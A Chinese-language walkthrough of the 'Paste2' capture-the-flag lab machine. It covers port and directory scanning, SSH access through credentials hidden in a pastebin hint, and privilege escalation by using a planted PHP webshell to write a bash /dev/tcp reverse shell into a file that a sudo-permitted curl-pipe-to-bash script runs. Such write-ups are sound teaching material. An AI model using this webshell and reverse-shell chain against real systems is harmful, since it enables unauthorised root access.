# Paste2 by Aristore

## 信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.5.128   08:00:27:0c:e8:71       PCS Systemtechnik GmbH

┌──(root㉿kali)-[~]
└─# IP=192.168.5.128

```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 05:43 EDT
Nmap scan report for Paste2.lan (192.168.5.128)
Host is up (0.0018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:0C:E8:71 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5
(Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.85 ms Paste2.lan (192.168.5.128)

```

```
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
```

# 目录扫描

```
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              gz,txt,tar,shtml,php,php3,html,bk,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 36]
/.php                 (Status: 403) [Size: 278]
/4567                 (Status: 301) [Size: 313] [--> http://192.168.5.128/4567/]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/0596004567_bkt       (Status: 301) [Size: 323] [--> http://192.168.5.128/0596004567_bkt/]
/server-status        (Status: 403) [Size: 278]
Progress: 2426160 / 2426171 (100.00%)
===============================================================
Finished
===============================================================
```

扫出来两个目录，接着扫

```
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP/4567 -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.128/4567
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,php3,txt,zip,tar,gz,shtml,html,bk,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 31]
/.php                 (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
Progress: 2426160 / 2426171 (100.00%)
===============================================================
Finished
===============================================================

┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
http://$IP/0596004567_bkt -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.128/0596004567_bkt
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              tar,gz,shtml,php,html,php3,txt,bk,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.php            (Status: 500) [Size: 0]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
Progress: 2426160 / 2426171 (100.00%)
===============================================================
Finished
```

```
53  ================================================================
```

啥也没扫出来，挨个看看

```
1  ┌──(root㉿kali)-[~]
2  └─# curl -s $IP
3  <h1>Paste it</h1>
4  <!-- D9WjiAks -->
5
6  ┌──(root㉿kali)-[~]
7  └─# curl -s $IP/4567/
8  <!-- https://pastebin.com/ -->
9
10 ┌──(root㉿kali)-[~]
11 └─# curl -s $IP/0596004567_bkt/
12
```

不难猜到要访问 https://pastebin.com/D9WjiAks

在剪贴板得到 `yi:0c2707999a`，80 端口没东西了，又开着 22 端口，大概率是 ssh 的账密

```
1  ┌──(root㉿kali)-[~]
2  └─# ssh yi@$IP
3  yi@192.168.5.128's password:
4  Linux Paste2 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
5
6  The programs included with the Debian GNU/Linux system are free software;
7  the exact distribution terms for each program are described in the
8  individual files in /usr/share/doc/*/copyright.
9
10 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
11 permitted by applicable law.
12 Last login: Mon Sep 29 07:04:21 2025 from 192.168.5.153
13 yi@Paste2:~$ id
14 uid=1000(yi) gid=1000(yi) groups=1000(yi)
```

在隔壁目录拿到 `/home/slash` 拿到 flag

```
1  yi@Paste2:/home/slash$ cat user.txt
2  flag{user-0c2707999aaeaf86ae88992ccb47ef81}
```

# 提权

列出当前用户允许通过 sudo 执行的命令

```
yi@Paste2:~$ sudo -l
Matching Defaults entries for yi on Paste2:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yi may run the following commands on Paste2:
    (ALL) NOPASSWD: /opt/back.sh
yi@Paste2:~$ cat /opt/back.sh
#!/bin/bash
curl  -s  http://localhost/404.html | bash
```

看了下只有 `www-data` 组的用户有权限

```
yi@Paste2:~$ ls -ld /var/www/html
drwxr-xr-x 4 www-data www-data 4096 Sep 28 06:27 /var/www/html
```

接下来看看前面扫出来的 `0596004567_bkt/index.php`

```
yi@Paste2:~$ cd /var/www/html/0596004567_bkt/
yi@Paste2:/var/www/html/0596004567_bkt$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 28 06:28 .
drwxr-xr-x 4 www-data www-data 4096 Sep 28 06:27 ..
-rw-r--r-- 1 www-data www-data   27 Sep 28 06:28 index.php
yi@Paste2:/var/www/html/0596004567_bkt$ cat index.php
<?php system($_GET[0]); ?>
```

一句话木马，利用它写一个反弹 shell

```
┌──(root㉿kali)-[~]
└─# curl "http://$IP/0596004567_bkt/index.php?0=echo%20%27bash%20-
i%20%3E%26%20/dev/tcp/192.168.5.153/4444%200%3E%261%27%20%3E%20/var/www/html/404.html"
```

回靶机看看写进去没

```
yi@Paste2:/var/www/html/0596004567_bkt$ cat /var/www/html/404.html
bash -i >& /dev/tcp/192.168.5.153/4444 0>&1
```

在攻击机监听

```
┌──(root㉿kali)-[~]
└─# nc -lnvp 4444
```

回到靶机用 sudo 运行 `/opt/back.sh`

```
yi@Paste2:/var/www/html/0596004567_bkt$ sudo /opt/back.sh
```

回到攻击机拿到 root shell

```
root@Paste2:~# cat /root/root.txt
cat /root/root.txt
flag{root-710cab02d94f609e4ca3c981bd8ade38}
```